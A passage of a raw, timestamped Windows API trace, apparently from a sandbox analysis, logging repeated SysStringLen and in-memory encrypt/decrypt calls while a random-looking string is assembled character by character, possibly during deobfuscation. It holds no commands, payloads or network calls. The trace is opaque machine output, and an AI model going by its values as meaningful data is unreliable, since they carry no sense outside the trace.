(param_1="9fmJGfellrv4泿杫⡸") returned 0x10 [0130.730] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.730] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\x8c95\xeba3\x2461\x930f\x7853\xeadb\xeafd\x709f") returned 0x10 [0130.731] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\x8c95\xeba3\x2461\x930f\x7853\xeadb\xeafd\x709f") returned 0x10 [0130.731] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.731] SysStringLen (param_1="9fmJGfellrv4U杫⡸") returned 0x10 [0130.731] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.731] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\x24b\x37a1\x86a7\xf9fb\x66b1\x5d5a\x813\x70c9") returned 0x10 [0130.731] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\x24b\x37a1\x86a7\xf9fb\x66b1\x5d5a\x813\x70c9") returned 0x10 [0130.731] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.731] SysStringLen (param_1="9fmJGfellrv4UK⡸") returned 0x10 [0130.731] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.731] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xcf39\xb384\x45c3\x5fcf\xbc0\xd408\x577d\xb13f") returned 0x10 [0130.731] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xcf39\xb384\x45c3\x5fcf\xbc0\xd408\x577d\xb13f") returned 0x10 [0130.731] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.731] SysStringLen (param_1="9fmJGfellrv4UKO") returned 0x10 [0130.731] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.731] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\x64fc\xd51b\x4847\xf422\xcb66\x1652\xdb0\x7db7") returned 0x10 [0130.731] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\x64fc\xd51b\x4847\xf422\xcb66\x1652\xdb0\x7db7") returned 0x10 [0130.731] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.732] SysStringLen (param_1="9fmJGfellrv4UKOI") returned 0x10 [0130.732] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.732] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481") returned 0x10 [0130.732] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481") returned 0x10 [0130.732] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481") returned 0x10 [0130.732] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481") returned 0x18 [0130.732] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.732] SysStringLen (param_1="9fmJGfellrv4UKOIUෆ槶ᤅឋ㦐쑾葒") returned 0x18 [0130.732] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.732] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\xe787\x5212\xff43\x8293\x402b\x6761\x1bf9\xb63") returned 0x18 [0130.732] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\xe787\x5212\xff43\x8293\x402b\x6761\x1bf9\xb63") returned 0x18 [0130.732] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.732] SysStringLen (param_1="9fmJGfellrv4UKOIU+槶ᤅឋ㦐쑾葒") returned 0x18 [0130.732] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.732] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\xf611\x72df\xc44\xd26f\x6a23\x1ea7\x5c91\xe9e7") returned 0x18 [0130.732] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\xf611\x72df\xc44\xd26f\x6a23\x1ea7\x5c91\xe9e7") returned 0x18 [0130.732] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.733] SysStringLen (param_1="9fmJGfellrv4UKOIU+Xᤅឋ㦐쑾葒") returned 0x18 [0130.733] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.733] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x1f7e\xbfe8\x5d71\xd356\x9766\x725\xeea5\x5769") returned 0x18 [0130.733] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x1f7e\xbfe8\x5d71\xd356\x9766\x725\xeea5\x5769") returned 0x18 [0130.733] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.733] SysStringLen (param_1="9fmJGfellrv4UKOIU+Xsឋ㦐쑾葒") returned 0x18 [0130.733] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.733] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\xd7d6\xd0a5\x829e\x3c08\xeb10\xc6ba\xba3a\xbaac") returned 0x18 [0130.733] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\xd7d6\xd0a5\x829e\x3c08\xeb10\xc6ba\xba3a\xbaac") returned 0x18 [0130.733] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.733] SysStringLen (param_1="9fmJGfellrv4UKOIU+Xsc㦐쑾葒") returned 0x18 [0130.733] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.733] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\xc921\x19f5\xf1b0\x4e4d\x239a\x643f\xa9d2\x901d") returned 0x18 [0130.733] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\xc921\x19f5\xf1b0\x4e4d\x239a\x643f\xa9d2\x901d") returned 0x18 [0130.733] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.734] SysStringLen (param_1="9fmJGfellrv4UKOIU+XscX쑾葒") returned 0x18 [0130.734] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.734] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\xc3c2\xae07\xcf5c\x9093\x7d89\x44ab\x7944\xca66") returned 0x18 [0130.734] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\xc3c2\xae07\xcf5c\x9093\x7d89\x44ab\x7944\xca66") returned 0x18 [0130.734] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.734] SysStringLen (param_1="9fmJGfellrv4UKOIU+XscXz葒") returned 0x18 [0130.734] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.734] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x7596\x91a2\x5294\x62b5\x2e6c\xf610\xc9f7\x40f7") returned 0x18 [0130.734] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x7596\x91a2\x5294\x62b5\x2e6c\xf610\xc9f7\x40f7") returned 0x18 [0130.734] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.734] SysStringLen (param_1="9fmJGfellrv4UKOIU+XscXzt") returned 0x18 [0130.734] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.734] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x50f2\x62eb\xf73\xd4f7\x7c9c\x3f81\xf2ef\x7491") returned 0x18 [0130.734] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x50f2\x62eb\xf73\xd4f7\x7c9c\x3f81\xf2ef\x7491") returned 0x18 [0130.734] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x50f2\x62eb\xf73\xd4f7\x7c9c\x3f81\xf2ef\x7491") returned 0x18 [0130.734] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x50f2\x62eb\xf73\xd4f7\x7c9c\x3f81\xf2ef\x7491") returned 0x20 [0130.734] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.735] SysStringLen (param_1="9fmJGfellrv4UKOIU+XscXztm拁簻헱로⬔뜔䑂") returned 0x20 [0130.735] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.735] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x50f2\x62eb\xf73\xd4f7\x7c9c\x3f81\xf2ef\x7491\xcb88\x8d77\xa32b\x1fd\xed43\x8f11\xfd0b\x7b18") returned 0x20 [0130.735] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x50f2\x62eb\xf73\xd4f7\x7c9c\x3f81\xf2ef\x7491\xcb88\x8d77\xa32b\x1fd\xed43\x8f11\xfd0b\x7b18") returned 0x20 [0130.735] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.735] SysStringLen (param_1="9fmJGfellrv4UKOIU+XscXztmL簻헱로⬔뜔䑂") returned 0x20 [0130.735] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.735] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x50f2\x62eb\xf73\xd4f7\x7c9c\x3f81\xf2ef\x7491\x3c8\xe7a7\x7fcf\xd947\x9ffa\xc799\xfa81\x7d7d") returned 0x20 [0130.735] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x50f2\x62eb\xf73\xd4f7\x7c9c\x3f81\xf2ef\x7491\x3c8\xe7a7\x7fcf\xd947\x9ffa\xc799\xfa81\x7d7d") returned 0x20 [0130.735] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.735] SysStringLen (param_1="9fmJGfellrv4UKOIU+XscXztmLk헱로⬔뜔䑂") returned 0x20 [0130.735] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.735] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x50f2\x62eb\xf73\xd4f7\x7c9c\x3f81\xf2ef\x7491\xe05e\x6564\x172e\x5173\x5268\x882b\x43e4\x1724") returned 0x20 [0130.735] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x50f2\x62eb\xf73\xd4f7\x7c9c\x3f81\xf2ef\x7491\xe05e\x6564\x172e\x5173\x5268\x882b\x43e4\x1724") returned 0x20 [0130.735] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.736] SysStringLen (param_1="9fmJGfellrv4UKOIU+XscXztmLkJ로⬔뜔䑂") returned 0x20 [0130.736] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.736] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x50f2\x62eb\xf73\xd4f7\x7c9c\x3f81\xf2ef\x7491\xb0e3\x3432\xa29f\xd9ad\xc147\xd52\x754c\x438") returned 0x20 [0130.736] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x50f2\x62eb\xf73\xd4f7\x7c9c\x3f81\xf2ef\x7491\xb0e3\x3432\xa29f\xd9ad\xc147\xd52\x754c\x438") returned 0x20 [0130.736] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.736] SysStringLen (param_1="9fmJGfellrv4UKOIU+XscXztmLkJr⬔뜔䑂") returned 0x20 [0130.736] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.736] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x50f2\x62eb\xf73\xd4f7\x7c9c\x3f81\xf2ef\x7491\xba4a\x9049\x88da\x523c\xbba3\xfc2\xe0c4\xd408") returned 0x20 [0130.736] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x50f2\x62eb\xf73\xd4f7\x7c9c\x3f81\xf2ef\x7491\xba4a\x9049\x88da\x523c\xbba3\xfc2\xe0c4\xd408") returned 0x20 [0130.736] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.736] SysStringLen (param_1="9fmJGfellrv4UKOIU+XscXztmLkJrB뜔䑂") returned 0x20 [0130.736] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.736] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x50f2\x62eb\xf73\xd4f7\x7c9c\x3f81\xf2ef\x7491\x892b\x59f8\x4048\x67a8\x1ce3\x6b0c\x18d7\x12c4") returned 0x20 [0130.736] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x50f2\x62eb\xf73\xd4f7\x7c9c\x3f81\xf2ef\x7491\x892b\x59f8\x4048\x67a8\x1ce3\x6b0c\x18d7\x12c4") returned 0x20 [0130.736] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.736] SysStringLen (param_1="9fmJGfellrv4UKOIU+XscXztmLkJrBz䑂") returned 0x20 [0130.736] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.737] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x50f2\x62eb\xf73\xd4f7\x7c9c\x3f81\xf2ef\x7491\xe782\xe2ce\x477f\x3390\x16bc\x810b\x89c8\x4047") returned 0x20 [0130.737] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x50f2\x62eb\xf73\xd4f7\x7c9c\x3f81\xf2ef\x7491\xe782\xe2ce\x477f\x3390\x16bc\x810b\x89c8\x4047") returned 0x20 [0130.737] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.737] SysStringLen (param_1="9fmJGfellrv4UKOIU+XscXztmLkJrBzw") returned 0x20 [0130.737] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.737] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x50f2\x62eb\xf73\xd4f7\x7c9c\x3f81\xf2ef\x7491\x3ea3\x789d\x3ec4\x606d\xaaa5\x268e\xf3d7\x6ea7") returned 0x20 [0130.737] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x50f2\x62eb\xf73\xd4f7\x7c9c\x3f81\xf2ef\x7491\x3ea3\x789d\x3ec4\x606d\xaaa5\x268e\xf3d7\x6ea7") returned 0x20 [0130.737] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x50f2\x62eb\xf73\xd4f7\x7c9c\x3f81\xf2ef\x7491\x3ea3\x789d\x3ec4\x606d\xaaa5\x268e\xf3d7\x6ea7") returned 0x20 [0130.737] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x50f2\x62eb\xf73\xd4f7\x7c9c\x3f81\xf2ef\x7491\x3ea3\x789d\x3ec4\x606d\xaaa5\x268e\xf3d7\x6ea7\x57\x53\x42\x4c\x64\x57\x59\x70") returned 0x28 [0130.737] SystemFunction041 (in: Memory=0x43836ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43836ac) returned 0x0 [0130.737] SysStringLen (param_1="9fmJGfellrv4UKOIU+XscXztmLkJrBzwu䴶鋩࿚蔚爐ᄝ") returned 0x28 [0130.737] SystemFunction040 (in: Memory=0x43836ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43836ac) returned 0x0 [0130.737] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x50f2\x62eb\xf73\xd4f7\x7c9c\x3f81\xf2ef\x7491\x3ea3\x789d\x3ec4\x606d\xaaa5\x268e\xf3d7\x6ea7\x93b1\xfeed\xe67f\xe8c5\x20c7\x36f5\x247\x64ac") returned 0x28 [0130.737] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x50f2\x62eb\xf73\xd4f7\x7c9c\x3f81\xf2ef\x7491\x3ea3\x789d\x3ec4\x606d\xaaa5\x268e\xf3d7\x6ea7\x93b1\xfeed\xe67f\xe8c5\x20c7\x36f5\x247\x64ac") returned 0x28 [0130.737] SystemFunction041 (in: Memory=0x43836ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43836ac) returned 0x0 [0130.738] SysStringLen (param_1="9fmJGfellrv4UKOIU+XscXztmLkJrBzwu8鋩࿚蔚爐ᄝ") returned 0x28 [0130.738] SystemFunction040 (in: Memory=0x43836ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43836ac) returned 0x0 [0130.738] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x50f2\x62eb\xf73\xd4f7\x7c9c\x3f81\xf2ef\x7491\x3ea3\x789d\x3ec4\x606d\xaaa5\x268e\xf3d7\x6ea7\x3e0d\x7431\x7c8e\xed9f\x771d\xfe06\x6339\x9381") returned 0x28 [0130.738] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x50f2\x62eb\xf73\xd4f7\x7c9c\x3f81\xf2ef\x7491\x3ea3\x789d\x3ec4\x606d\xaaa5\x268e\xf3d7\x6ea7\x3e0d\x7431\x7c8e\xed9f\x771d\xfe06\x6339\x9381") returned 0x28 [0130.738] SystemFunction041 (in: Memory=0x43836ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43836ac) returned 0x0 [0130.738] SysStringLen (param_1="9fmJGfellrv4UKOIU+XscXztmLkJrBzwu8n࿚蔚爐ᄝ") returned 0x28 [0130.738] SystemFunction040 (in: Memory=0x43836ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43836ac) returned 0x0 [0130.738] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x50f2\x62eb\xf73\xd4f7\x7c9c\x3f81\xf2ef\x7491\x3ea3\x789d\x3ec4\x606d\xaaa5\x268e\xf3d7\x6ea7\x1514\x8d79\x90d0\xe84d\xb072\xfcf\x44a7\x5596") returned 0x28 [0130.738] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x50f2\x62eb\xf73\xd4f7\x7c9c\x3f81\xf2ef\x7491\x3ea3\x789d\x3ec4\x606d\xaaa5\x268e\xf3d7\x6ea7\x1514\x8d79\x90d0\xe84d\xb072\xfcf\x44a7\x5596") returned 0x28 [0130.738] SystemFunction041 (in: Memory=0x43836ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43836ac) returned 0x0 [0130.738] SysStringLen (param_1="9fmJGfellrv4UKOIU+XscXztmLkJrBzwu8ne蔚爐ᄝ") returned 0x28 [0130.738] SystemFunction040 (in: Memory=0x43836ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43836ac) returned 0x0 [0130.738] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x50f2\x62eb\xf73\xd4f7\x7c9c\x3f81\xf2ef\x7491\x3ea3\x789d\x3ec4\x606d\xaaa5\x268e\xf3d7\x6ea7\x3ba6\xc13a\xd1e8\xe824\xf061\xf367\xf1a6\x89b5") returned 0x28 [0130.738] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x50f2\x62eb\xf73\xd4f7\x7c9c\x3f81\xf2ef\x7491\x3ea3\x789d\x3ec4\x606d\xaaa5\x268e\xf3d7\x6ea7\x3ba6\xc13a\xd1e8\xe824\xf061\xf367\xf1a6\x89b5") returned 0x28 [0130.738] SystemFunction041 (in: Memory=0x43836ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43836ac) returned 0x0 [0130.738] SysStringLen (param_1="9fmJGfellrv4UKOIU+XscXztmLkJrBzwu8neK蔚爐ᄝ") returned 0x28 [0130.738] SystemFunction040 (in: Memory=0x43836ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43836ac) returned 0x0 [0130.739] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x50f2\x62eb\xf73\xd4f7\x7c9c\x3f81\xf2ef\x7491\x3ea3\x789d\x3ec4\x606d\xaaa5\x268e\xf3d7\x6ea7\x32b2\x19b4\x5dbc\xf4a8\x46f0\x911d\x8ac4\x76f0") returned 0x28 [0130.739] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x50f2\x62eb\xf73\xd4f7\x7c9c\x3f81\xf2ef\x7491\x3ea3\x789d\x3ec4\x606d\xaaa5\x268e\xf3d7\x6ea7\x32b2\x19b4\x5dbc\xf4a8\x46f0\x911d\x8ac4\x76f0") returned 0x28 [0130.739] SystemFunction041 (in: Memory=0x43836ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43836ac) returned 0x0 [0130.739] SysStringLen (param_1="9fmJGfellrv4UKOIU+XscXztmLkJrBzwu8neKi爐ᄝ") returned 0x28 [0130.739] SystemFunction040 (in: Memory=0x43836ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43836ac) returned 0x0 [0130.739] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x50f2\x62eb\xf73\xd4f7\x7c9c\x3f81\xf2ef\x7491\x3ea3\x789d\x3ec4\x606d\xaaa5\x268e\xf3d7\x6ea7\x9b4a\x61ea\xc7fc\x4bbd\xd288\x63d8\xcdf4\x822") returned 0x28 [0130.739] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x50f2\x62eb\xf73\xd4f7\x7c9c\x3f81\xf2ef\x7491\x3ea3\x789d\x3ec4\x606d\xaaa5\x268e\xf3d7\x6ea7\x9b4a\x61ea\xc7fc\x4bbd\xd288\x63d8\xcdf4\x822") returned 0x28 [0130.739] SystemFunction041 (in: Memory=0x43836ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43836ac) returned 0x0 [0130.739] SysStringLen (param_1="9fmJGfellrv4UKOIU+XscXztmLkJrBzwu8neKiBᄝ") returned 0x28 [0130.739] SystemFunction040 (in: Memory=0x43836ac, 